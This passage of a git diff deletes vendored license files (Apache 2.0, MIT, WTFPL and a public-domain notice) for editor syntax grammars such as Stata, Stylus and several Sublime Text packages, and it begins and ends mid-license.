-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Hiram Chirino and James Strachan
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/Slash.tmbundle.txt b/vendor/licenses/grammar/Slash.tmbundle.txt
deleted file mode 100644
index e15cf4030e..0000000000
--- a/vendor/licenses/grammar/Slash.tmbundle.txt
+++ /dev/null
@@ -1,23 +0,0 @@
----
-type: grammar
-name: Slash.tmbundle
-license: mit
----
-Copyright (C) 2014 Charlie Somerville
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Stata.tmbundle.txt b/vendor/licenses/grammar/Stata.tmbundle.txt
deleted file mode 100644
index b669676a90..0000000000
--- a/vendor/licenses/grammar/Stata.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Stata.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2009-2013 the Stata.tmbundle authors and contributors (see AUTHORS file).
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Stylus.txt b/vendor/licenses/grammar/Stylus.txt
deleted file mode 100644
index 456cbfb89e..0000000000
--- a/vendor/licenses/grammar/Stylus.txt
+++ /dev/null
@@ -1,31 +0,0 @@
----
-type: grammar
-name: Stylus
-license: mit
----
-Stylus Package for Sublime Text
-Copyright (c) 2011-2013 Billy Moon <billy@itaccess.org>
-
-Includes Stylus Language Definition for Sublime Text
-Copyright (c) 2013 Dmitriy Kubyshkin <dmitriy@kubyshkin.ru>
-
-Permission is hereby granted, free of charge, to any person
-obtaining a copy of this software and associated documentation
-files (the "Software"), to deal in the Software without
-restriction, including without limitation the rights to use,
-copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following
-conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-Coq.txt b/vendor/licenses/grammar/Sublime-Coq.txt
deleted file mode 100644
index 61b3d7282f..0000000000
--- a/vendor/licenses/grammar/Sublime-Coq.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Sublime-Coq
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Matthew Kolosick
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-HTTP.txt b/vendor/licenses/grammar/Sublime-HTTP.txt
deleted file mode 100644
index 9c8195ecbf..0000000000
--- a/vendor/licenses/grammar/Sublime-HTTP.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Sublime-HTTP
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Sam Salisbury
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-Inform.txt b/vendor/licenses/grammar/Sublime-Inform.txt
deleted file mode 100644
index 15d8edfbf0..0000000000
--- a/vendor/licenses/grammar/Sublime-Inform.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Sublime-Inform
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Nate Dickson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-Lasso.txt b/vendor/licenses/grammar/Sublime-Lasso.txt
deleted file mode 100644
index b35955056e..0000000000
--- a/vendor/licenses/grammar/Sublime-Lasso.txt
+++ /dev/null
@@ -1,10 +0,0 @@
----
-type: grammar
-name: Sublime-Lasso
-license: public domain
-curated: true
----
-
-License Information
-
-This package is provided as-is and is placed in the Public Domain. Sublime Text itself is proprietary software and is probably copyrighted by Sublime HQ Pty Ltd
diff --git a/vendor/licenses/grammar/Sublime-Loom.txt b/vendor/licenses/grammar/Sublime-Loom.txt
deleted file mode 100644
index 2852742223..0000000000
--- a/vendor/licenses/grammar/Sublime-Loom.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: Sublime-Loom
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Jason L Perry
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-Modula-2.txt b/vendor/licenses/grammar/Sublime-Modula-2.txt
deleted file mode 100644
index 05dff6889e..0000000000
--- a/vendor/licenses/grammar/Sublime-Modula-2.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Sublime-Modula-2
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Gastón Haro
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/Sublime-Nit.txt b/vendor/licenses/grammar/Sublime-Nit.txt
deleted file mode 100644
index 92f08ff643..0000000000
--- a/vendor/licenses/grammar/Sublime-Nit.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: Sublime-Nit
-license: wtfpl
----
-            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
-                    Version 2, December 2004
-
- Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
-
- Everyone is permitted to copy and distribute verbatim or modified
- copies of this license document, and changing it is allowed as long
- as the name is changed.
-
-            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. You just DO WHAT THE FUCK YOU WANT TO.
diff --git a/vendor/licenses/grammar/Sublime-QML.txt b/vendor/licenses/grammar/Sublime-QML.txt
deleted file mode 100644
index df9170904d..0000000000
--- a/vendor/licenses/grammar/Sublime-QML.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: Sublime-QML
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 Sergey Kozlov
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-REBOL.txt b/vendor/licenses/grammar/Sublime-REBOL.txt
deleted file mode 100644
index ad021239ab..0000000000
--- a/vendor/licenses/grammar/Sublime-REBOL.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: Sublime-REBOL
-license: mit
----
-Copyright (c) 2014-2015 Oldes
-
-Permission is hereby granted, free of charge, to any person
-obtaining a copy of this software and associated documentation
-files (the "Software"), to deal in the Software without
-restriction, including without limitation the rights to use,
-copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following
-conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-Red.txt b/vendor/licenses/grammar/Sublime-Red.txt
deleted file mode 100644
index e74d11f2a6..0000000000
--- a/vendor/licenses/grammar/Sublime-Red.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: Sublime-Red
-license: mit
----
-Copyright (c) 2014-2015 Oldes
-
-Permission is hereby granted, free of charge, to any person
-obtaining a copy of this software and associated documentation
-files (the "Software"), to deal in the Software without
-restriction, including without limitation the rights to use,
-copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following
-conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Sublime-SQF-Language.txt b/vendor/licenses/grammar/Sublime-SQF-Language.txt
deleted file mode 100644
index 28ad494366..0000000000
--- a/vendor/licenses/grammar/Sublime-SQF-Language.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: Sublime-SQF-Language
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Matthew Graham
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/Sublime-Text-2-OpenEdge-ABL.txt b/vendor/licenses/grammar/Sublime-Text-2-OpenEdge-ABL.txt
deleted file mode 100644
index ca04341fef..0000000000
--- a/vendor/licenses/grammar/Sublime-Text-2-OpenEdge-ABL.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: Sublime-Text-2-OpenEdge-ABL
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2012 Jeremy Fairbank elpapapollo@gmail.com.
-Copyright (c) 2015 Guilherme Taschetto gtaschetto@gmail.com.
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
